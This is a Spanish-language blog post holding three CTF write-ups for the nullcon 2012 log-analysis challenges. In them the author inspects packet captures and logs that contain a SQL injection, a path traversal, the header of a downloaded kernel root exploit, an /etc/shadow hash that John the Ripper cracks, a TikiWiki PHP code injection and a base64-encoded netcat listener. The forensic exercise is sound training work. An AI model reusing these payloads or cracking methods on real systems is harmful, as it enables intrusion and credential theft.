CTF #nullcon 2012: Análisis de logs 5

  • January 29, 2012
  • tuxotron

  • nullcon1.jpg

    En el quinto y último nivel de esta categoría de análisis de logs, nos encontramos con un fichero (http://www.nullcon.net//challenge/data/dump.rar) PcapNg (una vez descomprimido). Uno de los problemas con los que me encontré era que el fichero es un poco grande y después de filtrar varias veces, Wireshark se comía la máquina y tenía que cerrar dicha aplicación y volverla a abrir ¿fuga de memoria en Wireshark? Supongo que la próxima vez debería de aprender a usar los filtros con tshark :)

    En este nivel se nos piden 4 flags:

    • Flag-I: Vulnerable Parameter in 1st Attack
    • Flag-II: Vulnerable Parameter in 2nd Attack
    • Flag-III: Names of the people who discovered the Local Privilege Escalation Exploit used
    • Flag-IV: root Password

    Para mi la pregunta más obvia para empezar era la última, ya que podría correr un búsqueda de la palabra root para llegar a dicha respuesta. Y la suerte que tuve fue que haciendo esa búsqueda también me llevó al resto de los respuestas que buscaba.

    El primer flujo TCP que encontramos con inyección de código y por lo tanto contesta a nuestra primera pregunta es:

    GET /index.html?page=blog&title=Blog&id=2+AND+1=2+UNION+ALL+SELECT+1,unhex(hex(user())),3,4,5--+- HTTP/1.1
    Host: 192.168.221.143
    User-Agent: Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip, deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Connection: keep-alive
    ....
    ....

    Por lo tanto nuestro primer flag: id

    El segundo ataque encontrado fue:

    GET /index.html?page=../../../../../../../../../etc/passwd%00 HTTP/1.1
    Host: 192.168.221.143
    User-Agent: Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip, deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Connection: keep-alive
    ....
    ....

    Nuestro flag en este caso: page

    Siguiendo nuestra búsqueda de todo lo que contenga root, vemos claramente código C, en cuyos comentarios vemos que es un exploit de escalada de privilegios, dónde además nos dan los nombres de los descubridores, el cual es la respuesta a nuestro tercer flag: Tavis Ormandy Julien Tinnes

    Aquí un extracto del texto de la captura

    GET /exploit/9479.c HTTP/1.0
    User-Agent: Wget/1.10.2 (Red Hat modified)
    Accept: */*
    Host: 192.168.221.130
    Connection: Keep-Alive
    

    HTTP/1.1 200 OK Date: Thu, 12 Jan 2012 06:18:26 GMT Server: Apache/2.2.14 (Ubuntu) Last-Modified: Wed, 11 Jan 2012 12:36:23 GMT ETag: “41d4c-d33-4b63fe12b3b1c” Accept-Ranges: bytes Content-Length: 3379 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/x-csrc

    /* ** ** 0x82-CVE-2009-2692 ** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver) ** Tested RedHat Linux 9.0, Fedora core 4~11, Whitebox 4, CentOS 4.x. ** ** – ** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team. ** spender and venglin’s code is very excellent. ** Thankful to them. ** ** Greets: Brad Spengler <spender(at)grsecurity(dot)net>, ** Przemyslaw Frasunek <venglin(at)czuby(dot)pl>. ** – ** exploit by <p0c73n1(at)gmail(dot)com>. ** ** “Slow and dirty exploit for this one” ** / …. ….

    Por último se nos pide el password de root y siguiendo con nuestra búsqueda llegamos al listado del fichero shadow:

    sh-3.1# cat /etc/shadow
    root:$1$IW2CPQzs$ba/aJ9zePc/r9tF2R6KAJ0:15350:0:99999:7:::
    bin::14309:0:99999:7:::
    daemon::14309:0:99999:7:::
    adm::14309:0:99999:7:::
    ….
    ….

    Aquí de lo que disponemos es del hash, pero no del password en claro, así que llamemos a Juanito.

    Lo que hice fue copiar sólo la línea del root a un fichero de texto y:

    tuxotron@tuxotron-laptop:~/opt/john-1.7.9-jumbo-5/run$ ./john ppass
    Loaded 1 password hash (FreeBSD MD5 [32/64 X2])
    guesses: 0 time: 0:21:00:27 0.00% (3) c/s: 10906 trying: fuisbAT - fuisbAX
    Session aborted
    

    Después de 21 horas corriendo no había encontrado nada, así que decidí usar un diccionario de passwords, concretamente el primero de esta lista.

    tuxotron@tuxotron-laptop:~/opt/john-1.7.9-jumbo-5/run$ ./john –wordlist=/home/tuxotron/Downloads/Collection\ of\ Wordlist\ v.2-clean.lst ppass
    Loaded 1 password hash (FreeBSD MD5 [32/64 X2])
    zuzana           (root)
    guesses: 1  time: 0:00:05:52 DONE (Sat Jan 28 18:33:46 2012)  c/s: 11086  trying: zum - zuzana
    Use the “–show” option to display all of the cracked passwords reliably
    

    Y en cinco minutos conseguía el cuarto y último flag: zuzana

CTF #nullcon 2012: Análisis de logs 4

  • January 29, 2012
  • tuxotron
  • nullcon1.jpg

    En este cuarto nivel, el fichero que se nos da es de Burp y se nos pregunta por el CVE del exploit usado.

    Esta vez y aprendiendo del nivel anterior me basé en buscar por las urls en vez de códigos de respuesta. Rápidamente me di cuenta que la mayoría de las peticiones se hacían una IP/página sin que, en principio, se nos diera alguna pista de la aplicación web a la que se accedía y viendo que nos preguntan por un CVE, empecé a descartar dichas urls.

    En mi primera búsqueda, me di cuenta que también había referencias a un tikiwiki y un joomla. Rápidamente me fui a Google y busqué CVEs relacionados con estos dos productos y ambos tienen una amplia lista de CVEs. Así me decidí a enfocarme en estos. Empecé por tikiwiki y rápidamente me topé con esto:

      
      
        
        
        192.168.221.154
        80
        http
        POST
        
        php
        foo.bar1111','')); system('id
    '); die; /*]]>
        200
        283
        text
        
        
      
    

    Como podemos ver hay una clara inyección via XML, en el que se ejecuta el comando “id” (system(‘id ‘);) de forma satisfactoria.

    Así que me fui a Google y busqué algo como: server.php code execution xml tikiwiki. Cuyo primer enlace es exactamente lo que estamos buscando y dónde podemos ver el CVE que estamos buscando: CVE-2005-1921

CTF #nullcon 2012: Análisis de logs 3

  • January 28, 2012
  • tuxotron
  • nullcon1.jpg

    Buena en esta tercera prueba de análisis de logs, nos proveen un fichero de logs (http://www.nullcon.net//challenge/data/access.rar) de acceso de apache. Lo primero que tenemos que saber interpretar es dicho fichero, para ello, podemos visitar esta página, dónde nos explican el significado de cada columna.

    En este reto se nos pregunta por tres cosas para conseguir el flag: página vulnerable, puerto abierto e IP del atacante.

    El fichero es bastante grande para analizar así manualmente, así que lo primero que hice fue filtrar todas las líneas cuyo código de respuesta era 2xx. Después de pasar un buen rato mirando de arriba abajo, filtrando por 200, 206, etc no conseguí nada. También estuve buscando por algún tipo de inyección con el típico comando “nc” (netcat), pera nada de nada.

    Luego me dio por mirar el resto de códigos 404, 500, etc. Pero seguía sin ver nada. Luego me dio por buscar por llamadas a páginas con parámetros, especialmente aquellas que tuvieran algún tipo de intento de inyección. Esto lo intenté antes, pero sólo con las líneas del fichero cuya respuesta era 2xx (200 y 206 concretamente), ahora lo hacía con todo el fichero, hasta que me encontré con esta línea:

    192.168.0.107 - - [06/Jan/2012:00:58:00 +0530] "GET /contact.php?c=bmMgLWwgLXAgNjY2Ng== HTTP/1.1" 500 274 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3"

    El valor de c es base64, veamos a ver que contiene:

    tuxotron@tuxotron-laptop:~/temp/nullcon$ base64 -d
    bmMgLWwgLXAgNjY2Ng==
    nc -l -p 6666

    Bingo! Por lo tanto la repuesta las preguntas son: Vulnerable web: contact.php Port opened: 6666 Intruder IP: 192.168.0.107

    Una vez introducido dichos datos pasaremos al siguiente nivel.